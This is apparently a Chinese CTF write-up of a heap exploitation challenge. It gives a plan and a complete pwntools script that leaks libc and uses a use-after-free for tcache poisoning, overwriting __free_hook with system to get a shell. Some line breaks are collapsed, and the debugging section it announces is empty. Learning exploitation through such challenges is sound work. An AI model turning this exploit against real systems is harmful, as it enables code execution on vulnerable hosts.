一道简单的tcache劫持
一、题目
二、思路
存在UAF，libc版本2.31，经典菜单题
1.通过unsorted-bin-attack来leak-libc
2.通过uaf打tcache-bin-attack劫持__free_hook实现getshell
三、EXP
from pwn import *
context(arch='amd64',log_level='debug')io=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
def add(size,content):io.sendlineafter(b'exit\n',b'1')io.sendlineafter(b'content:',str(size).encode('utf-8'))io.sendlineafter(b'content:',content)def edit(index,size,content):io.sendlineafter(b'exit\n',b'2')io.sendlineafter(b'index: \n',str(index).encode('utf-8'))io.sendlineafter(b'content: \n',str(size).encode('utf-8'))io.sendlineafter(b'Content:',content)def delete(index):io.sendlineafter(b'exit\n',b'3')io.sendlineafter(b'index: \n',str(index).encode('utf-8'))def show(index):io.sendlineafter(b'exit\n',b'4')io.sendlineafter(b'index: \n',str(index).encode('utf-8'))################# test
# add(10,b'aa')
# show(0)
# edit(0,5,b'22')
# show(0)
# delete(0)
# show(0)################# gdb-attach
gdb.attach(io);input()###################################################### leak-libc
for _ in range(9):add(0x90,b'deadbeef') # a0~a8
for index in range(8):delete(index) # d0~d7
input('[+] Tcache full-filled')
show(7)
libc_base=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x1ecbe0
success('libc:'+hex(libc_base))
###################################################### hijack __free_hook
free_hook=libc_base+libc.sym['__free_hook']
success('__free_hook:'+hex(free_hook))
system=libc_base+libc.sym['system']
success('system:'+hex(system))
# 修改tcache->next
add(0x20,b'deadbeef') # a9 #绕过数量的检查
add(0x20,b'deadbeef') # a10
delete(9)
delete(10)
edit(10,0x10,p64(free_hook)) # 注意tcache LIFO, edit后释放的
input('[+]check1')
add(0x20,b'deadbeef') # a11
add(0x20,p64(system)) # a12
input('[+]check2')
add(0x10,b'/bin/sh\x00') # a13
input('[+]check3')
delete(13) # free('/bin/sh\x00')->__free_hook('/bin/sh\x00')->system('/bin/sh\x00)io.interactive()三、过程调试与理解
